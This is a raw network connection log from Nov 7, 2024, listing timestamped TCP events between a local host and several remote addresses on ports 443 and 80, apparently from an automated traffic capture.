Nov 7, 2024 06:01:19.096887112 CET	49845	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.097153902 CET	49845	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.097186089 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.097210884 CET	49845	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.097217083 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.102130890 CET	49850	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.102179050 CET	443	49850	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.102668047 CET	49850	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.102941990 CET	49850	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.102956057 CET	443	49850	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.258467913 CET	443	49847	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.258692026 CET	443	49846	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.259057045 CET	49847	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.259102106 CET	443	49847	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.259289980 CET	49846	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.259342909 CET	443	49846	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.259618998 CET	49847	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.259624958 CET	443	49847	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.259712934 CET	49846	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.259721994 CET	443	49846	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.310614109 CET	443	49848	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.312306881 CET	49848	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.312345982 CET	443	49848	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.312963963 CET	49848	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.312973022 CET	443	49848	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.390712023 CET	443	49847	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.390779018 CET	443	49847	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.390834093 CET	49847	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.391068935 CET	49847	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.391091108 CET	443	49847	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.391103983 CET	49847	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.391109943 CET	443	49847	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.393537998 CET	443	49846	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.393640041 CET	443	49846	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.393698931 CET	49846	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.393783092 CET	49846	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.393800020 CET	443	49846	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.393812895 CET	49846	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.393819094 CET	443	49846	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.394303083 CET	49851	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.394336939 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.394416094 CET	49851	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.394814968 CET	49851	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.394824028 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.396147013 CET	49852	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.396184921 CET	443	49852	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.396240950 CET	49852	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.396357059 CET	49852	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.396368980 CET	443	49852	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.439832926 CET	443	49848	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.439909935 CET	443	49848	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.439970970 CET	49848	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.443401098 CET	49848	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.443418980 CET	443	49848	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.443435907 CET	49848	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.443442106 CET	443	49848	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.450944901 CET	49853	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.450989008 CET	443	49853	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.451073885 CET	49853	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.451281071 CET	49853	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.451291084 CET	443	49853	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.716731071 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:19.716829062 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:19.716908932 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:19.717083931 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:19.717099905 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:19.804460049 CET	49854	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:19.804501057 CET	443	49854	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:19.804585934 CET	49854	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:19.804991007 CET	49854	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:19.805006027 CET	443	49854	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:19.816859007 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.817425966 CET	49849	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.817451954 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.817944050 CET	49849	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.817950010 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.820055962 CET	443	49850	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.820426941 CET	49850	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.820455074 CET	443	49850	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.820842028 CET	49850	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.820847988 CET	443	49850	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.947386026 CET	443	49850	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.947457075 CET	443	49850	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.947523117 CET	49850	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.947649956 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.947745085 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.947871923 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.947895050 CET	49849	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.947921038 CET	49850	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.947921038 CET	49850	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.947923899 CET	49849	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.947936058 CET	443	49850	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.947945118 CET	443	49850	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.949456930 CET	49849	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.949480057 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.949510098 CET	49849	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.949516058 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.952105999 CET	49855	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.952147961 CET	443	49855	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.952212095 CET	49855	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.952430010 CET	49855	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.952444077 CET	443	49855	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.953666925 CET	49856	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.953679085 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.953743935 CET	49856	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.953860044 CET	49856	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.953869104 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.128571987 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.129019976 CET	443	49852	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.133605003 CET	49851	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.133618116 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.134095907 CET	49851	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.134102106 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.134546995 CET	49852	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.134576082 CET	443	49852	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.134991884 CET	49852	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.134998083 CET	443	49852	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.229593992 CET	443	49853	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.230114937 CET	49853	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.230143070 CET	443	49853	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.230614901 CET	49853	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.230626106 CET	443	49853	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.258255959 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.258282900 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.258323908 CET	49851	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.258332014 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.258368969 CET	49851	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.258583069 CET	49851	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.258604050 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.258616924 CET	49851	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.258624077 CET	443	49851	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.259650946 CET	443	49852	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.259711981 CET	443	49852	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.259763956 CET	49852	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.260370970 CET	49852	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.260385990 CET	443	49852	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.260411024 CET	49852	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.260416031 CET	443	49852	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.264928102 CET	49857	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.264954090 CET	443	49857	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.265014887 CET	49857	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.266299009 CET	49857	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.266311884 CET	443	49857	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.266927004 CET	49858	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.266967058 CET	443	49858	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.267024040 CET	49858	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.267121077 CET	49858	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.267128944 CET	443	49858	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.309361935 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:20.314217091 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:20.314287901 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:20.322048903 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:20.326867104 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:20.364377022 CET	443	49853	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.364546061 CET	443	49853	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.364614010 CET	49853	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.371653080 CET	49853	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.371670961 CET	443	49853	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.371680975 CET	49853	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.371685982 CET	443	49853	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.388118029 CET	49860	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.388149977 CET	443	49860	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.388206959 CET	49860	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.404848099 CET	49860	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.404865026 CET	443	49860	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.410438061 CET	443	49854	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:20.410542011 CET	49854	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:20.411824942 CET	49854	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:20.411837101 CET	443	49854	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:20.412077904 CET	443	49854	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:20.426718950 CET	49854	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:20.426985025 CET	49854	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:20.427016973 CET	443	49854	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:20.682820082 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.691122055 CET	49856	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.691148996 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.691654921 CET	49856	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.691660881 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.692707062 CET	443	49855	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.693064928 CET	49855	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.693072081 CET	443	49855	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.693505049 CET	49855	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.693509102 CET	443	49855	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.697108984 CET	49827	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:20.697380066 CET	49861	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:20.702156067 CET	80	49861	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:20.702168941 CET	80	49827	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:20.702223063 CET	49861	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:20.702255011 CET	49827	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:20.702868938 CET	49861	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:20.707672119 CET	80	49861	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:20.816557884 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.816587925 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.816632032 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.816654921 CET	49856	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.816678047 CET	49856	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.817321062 CET	49856	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.817337036 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.817347050 CET	49856	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.817352057 CET	443	49856	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.821657896 CET	49862	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.821690083 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.821779013 CET	49862	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.822118998 CET	49862	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.822134972 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.825083017 CET	443	49855	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.825241089 CET	443	49855	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.825304985 CET	49855	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.825440884 CET	49855	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.825453043 CET	443	49855	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.825463057 CET	49855	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.825469017 CET	443	49855	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.828834057 CET	49863	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.828871012 CET	443	49863	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.828967094 CET	49863	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.829407930 CET	49863	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.829423904 CET	443	49863	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.980511904 CET	443	49854	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:20.980623960 CET	443	49854	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:20.980685949 CET	49854	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:20.980855942 CET	49854	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:20.980875969 CET	443	49854	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:20.995429993 CET	443	49858	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.996006012 CET	49858	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.996020079 CET	443	49858	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.996134043 CET	443	49857	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.996505022 CET	49858	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.996515036 CET	443	49858	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.997104883 CET	49857	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.997117043 CET	443	49857	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:20.997651100 CET	49857	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:20.997656107 CET	443	49857	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.125161886 CET	443	49857	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.125248909 CET	443	49857	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.125277042 CET	443	49858	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.125354052 CET	49857	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.125504017 CET	443	49858	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.125545979 CET	49858	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.136534929 CET	443	49860	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.148531914 CET	49857	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.148561954 CET	443	49857	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.148591042 CET	49857	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.148597956 CET	443	49857	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.149507046 CET	49858	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.149538040 CET	443	49858	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.149550915 CET	49858	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.149558067 CET	443	49858	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.150724888 CET	49860	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.150742054 CET	443	49860	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.151689053 CET	49860	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.151699066 CET	443	49860	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.153721094 CET	49864	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.153775930 CET	443	49864	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.153872013 CET	49864	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.153954029 CET	49865	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.153990984 CET	443	49865	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.154078007 CET	49865	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.154217958 CET	49864	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.154232979 CET	443	49864	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.154238939 CET	49865	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.154254913 CET	443	49865	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.229104996 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:21.229171991 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:21.232774019 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:21.237353086 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:21.237401962 CET	443	49866	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:21.237509966 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:21.237632990 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:21.237860918 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:21.237873077 CET	443	49866	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:21.277297974 CET	443	49860	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.277386904 CET	443	49860	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.277653933 CET	49860	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.277940989 CET	49860	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.277940989 CET	49860	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.277960062 CET	443	49860	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.277972937 CET	443	49860	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.281354904 CET	49867	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.281394958 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.281470060 CET	49867	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.281785011 CET	49867	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.281796932 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.533535004 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:21.533622026 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:21.534899950 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:21.539694071 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:21.539843082 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.540493965 CET	49862	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.540519953 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.540998936 CET	49862	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.541011095 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.571069956 CET	443	49863	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.574176073 CET	49863	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.574202061 CET	443	49863	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.574615002 CET	49863	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.574620008 CET	443	49863	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.616497993 CET	80	49861	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:21.616558075 CET	49861	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:21.667659044 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.667721987 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.667764902 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.667840004 CET	49862	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.668028116 CET	49862	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.668049097 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.668071032 CET	49862	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.668076992 CET	443	49862	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.671432018 CET	49868	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.671477079 CET	443	49868	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.671554089 CET	49868	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.671802998 CET	49868	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.671814919 CET	443	49868	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.703298092 CET	443	49863	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.703480005 CET	443	49863	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.703536034 CET	49863	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.703588009 CET	49863	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.703603029 CET	443	49863	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.703613997 CET	49863	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.703618050 CET	443	49863	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.706181049 CET	49869	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.706223965 CET	443	49869	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.706283092 CET	49869	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.706633091 CET	49869	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.706650972 CET	443	49869	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.783410072 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:21.783700943 CET	49870	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:21.788527966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:21.788549900 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:21.788598061 CET	49870	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:21.788623095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:21.788821936 CET	49870	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:21.793539047 CET	80	49870	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:21.822256088 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:21.822334051 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:21.822410107 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:21.823740959 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:21.828541994 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:21.836620092 CET	443	49866	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:21.836714029 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:21.838007927 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:21.838023901 CET	443	49866	104.21.5.155	192.168.2.4
